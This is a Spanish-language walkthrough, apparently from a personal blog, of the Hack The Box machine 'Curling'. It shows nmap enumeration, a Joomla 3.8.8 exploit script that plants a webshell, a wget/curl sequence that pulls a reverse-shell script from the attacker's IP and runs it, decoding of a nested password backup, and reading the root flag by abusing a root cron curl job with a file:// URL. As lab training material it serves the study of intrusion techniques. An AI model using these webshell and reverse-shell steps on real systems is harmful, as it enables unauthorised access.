Curling
Curling Linux · Easy - Adventure mode
🔭 Reconocimiento:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(pmartinezr㉿kali)-[~/htb/curling]
└─$ nmap -p- -sSVC --min-rate 5000 10.129.119.238
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-10 21:45 +0100
Nmap scan report for 10.129.119.238
Host is up (0.043s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
| 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.37 seconds
[+] Detecting Joomla Version
[++] Joomla 3.8.8
Joomscan nos muestra la versión del CMS ```Joomla 3.8.8```
1
2
3
┌──(pmartinezr㉿kali)-[/htb/curling]
└─$ echo "Q3VybGluZzIwMTgh" | base64 -d
Curling2018!
Si visitamos el código de la web veremos una pista que si seguimos http://curling.htb/secret.txt nos econtraremos la password de uno de los usuario Floris
💣 Preparación:
https://github.com/cocomelonc/vulnexipy/blob/master/joomla388_rce.py
🎁 Instalación:
1
2
3
4
5
6
7
8
9
10
┌──(rce_joomla388)─(pmartinezr㉿kali)-[~/htb/curling/rce_joomla388]
└─$ python joomla388_rce.py -u http://curling.htb/ -U Floris -P Curling2018! -i 10.10.15.67 -p 4444
victim: http://curling.htb/...
login with credentials...
parse hidden inputs...
successfully login...
edit /jsstrings.php...
parse hidden inputs...
shell: http://curling.htb/templates/beez3/jsstrings.php?hacked=<cmd>
successfully get shell. hacked :)
Este exploit nos permite subir una webshell, al cual podemos enviar comandos
👽 Acciones:
Primero subimos con la revershell sirviéndola con Python http://curling.htb/templates/beez3/jsstrings.php?hacked=wget%20http://10.10.15.67/rev.sh.
1
2
┌──(rce_joomla388)─(pmartinezr㉿kali)-[~/htb/curling/rce_joomla388]
└─$ curl http://curling.htb/templates/beez3/jsstrings.php?hacked=bash%20%2Fvar%2Fwww%2Fhtml%2Ftemplates%2Fbeez3%2Frev.sh
Ahora lanzamos la revershell llamándola con Curl previo encodear el payload. Supongo que se puede hacer desde el propio navegador.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
www-data@curling:/home/floris$ ls -a
. .bash_history .bashrc .gnupg .profile password_backup
.. .bash_logout .cache .local admin-area user.txt
www-data@curling:/home/floris$ cat password_backup
00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P.
000000f0: 819b bb48 ...H
Aún siendo wwww-data podemos encontra y obtener el contenido del archivo password_backup en el directorio de floris. El archivo parace un archivo hexadecimal el cual podemos decodificar.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌──(pablo☠office)
└─$ cat password_backup | xxd -r > bak
┌──(pablo☠office)
└─$ file bak
bak: bzip2 compressed data, block size = 900k
┌──(pablo☠office)
└─$ bzip2 -d bak
bzip2: Can't guess original name for bak -- using bak.out
┌──(pablo☠office)
└─$ file bak.out
bak.out: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141
┌──(pablo☠office)
└─$ gzip -d bak.out
gzip: bak.out: unknown suffix -- ignored
┌──(pablo☠office)
└─$ mv bak.out bak.gz
┌──(pablo☠office)
└─$ gzip -d bak.gz
┌──(pablo☠office)
└─$ ls
bak password_backup password.txt
┌──(pablo☠office)
└─$ file bak
bak: bzip2 compressed data, block size = 900k
┌──(pablo☠office)
└─$ bzip2 -d bak
bzip2: Can't guess original name for bak -- using bak.out
┌──(pablo☠office)
└─$ file bak.out
bak.out: POSIX tar archive (GNU)
┌──(pablo☠office)
└─$ tar -xvf bak.out
password.txt
┌──(pablo☠office)
└─$ cat password.txt
5d<wdCbdZu)|hChXll
Esta parte fue enrevesada, aparte de comenzar como hexadecimal el archivo está comprimido varias veces y en varios formatos. Pero conseguimos una clave 5d<wdCbdZu)|hChXll. Aquí se han pasado un poquito de rosca.
1
2
3
4
5
6
7
8
9
10
11
12
floris@curling:~$ cat user.txt
9c1ce64102c2a10d************
./psypy32
2026/02/10 23:36:01 CMD: UID=0 PID=4423 | /usr/sbin/CRON -f
2026/02/10 23:36:01 CMD: UID=0 PID=4422 | curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
2026/02/10 23:36:01 CMD: UID=0 PID=4421 | /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/r
floris@curling:~/admin-area$ ls -ltr
total 20
-rw-rw---- 1 root floris 14236 Feb 10 23:35 report
-rw-rw---- 1 root floris 25 Feb 10 23:35 input
floris@curling:~/admin-area$ cat input
url = "http://127.0.0.1"
El premio por tan enrevesado codificado es la primera flag. Por otro lado parece que el proceso de cron hace un curl contra la url almacenada en un archivo input y lo coloca como salida de reporte en el fichero report. Entonces hay que pensar en como reapuntar dicho curl para que nos devuelva una revershell obviamente.
1
2
3
floris@curling:~/admin-area$ watch ' echo 'url = "file:///root/root.txt"' > input; tail report'
Every 2.0s: echo url = file:///root/root.txt > input; tail report curling: Wed Feb 11 00:00:56 2026
3f27eb533e4ff5************
Después de darle una vuelta comprobé que el archivo input se estaba reescribiendo cada vez que la crontab actuaba y sabiendo que curl puede apuntar a un archivo, se me ocurrió utilizar el comando watch para repetir la acción cada 2s y conseguir la root flag.